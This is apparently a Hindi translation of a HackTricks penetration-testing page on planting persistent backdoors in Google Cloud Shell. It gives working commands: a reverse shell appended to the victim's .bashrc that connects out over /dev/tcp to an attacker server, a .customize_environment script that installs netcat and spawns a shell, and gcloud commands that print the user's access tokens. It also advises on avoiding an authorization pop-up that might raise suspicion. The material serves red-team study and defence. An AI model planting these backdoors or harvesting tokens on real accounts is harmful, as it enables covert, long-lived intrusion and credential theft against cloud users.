# GCP - Cloud Shell Persistence {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell अधिक जानकारी के लिए देखें: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} ### Persistent Backdoor [**Google Cloud Shell**](https://cloud.google.com/shell/) आपको आपके क्लाउड संसाधनों तक सीधे आपके ब्राउज़र से कमांड-लाइन पहुंच प्रदान करता है, बिना किसी संबंधित लागत के। आप **वेब कंसोल** से या **`gcloud cloud-shell ssh`** चलाकर Google का Cloud Shell एक्सेस कर सकते हैं। इस कंसोल में हमलावरों के लिए कुछ दिलचस्प क्षमताएँ हैं: 1. **कोई भी Google उपयोगकर्ता जिसे Google Cloud तक पहुंच है** एक पूरी तरह से प्रमाणित Cloud Shell उदाहरण तक पहुंच रखता है (सेवा खाते, यहां तक कि संगठन के मालिक होने पर भी)। 2. कहा गया उदाहरण **कम से कम 120 दिनों तक** अपने होम डायरेक्टरी को बनाए रखेगा यदि कोई गतिविधि नहीं होती है। 3. उस उदाहरण की गतिविधि की निगरानी के लिए **किसी संगठन के लिए कोई क्षमताएँ नहीं हैं**। इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर हर बार इसे चलाने पर एक शेल प्राप्त करेगा बस ऐसा करके: ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` एक और फ़ाइल है जो होम फ़ोल्डर में **`.customize_environment`** कहलाती है, जो यदि मौजूद है, तो **हर बार** उपयोगकर्ता द्वारा **cloud shell** का उपयोग करने पर **चलायी जाएगी** (जैसे पिछले तकनीक में)। बस पिछले बैकडोर या निम्नलिखित में से एक को डालें ताकि उपयोगकर्ता "नियमित रूप से" cloud shell का उपयोग करते समय स्थिरता बनी रहे: ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ``` > [!WARNING] > यह ध्यान रखना महत्वपूर्ण है कि **पहली बार जब कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है। यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में ब्राउज़र में देखा जाता है:
हालांकि, यदि उपयोगकर्ता ने सक्रिय रूप से क्लाउडशेल का उपयोग किया है, तो पॉप-अप नहीं दिखाई देगा और आप **उपयोगकर्ता के टोकन एकत्र कर सकते हैं**: ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ``` #### SSH कनेक्शन कैसे स्थापित किया जाता है बुनियादी रूप से, इन 3 API कॉल का उपयोग किया जाता है: - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (यह आपको आपके द्वारा स्थानीय रूप से बनाए गए सार्वजनिक कुंजी को जोड़ने के लिए कहेगा) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह आपको इंस्टेंस शुरू करने के लिए कहेगा) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको गूगल क्लाउड शेल का आईपी बताएगा) लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं ## संदर्भ - [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec) - [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) - [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/) {{#include ../../../banners/hacktricks-training.md}}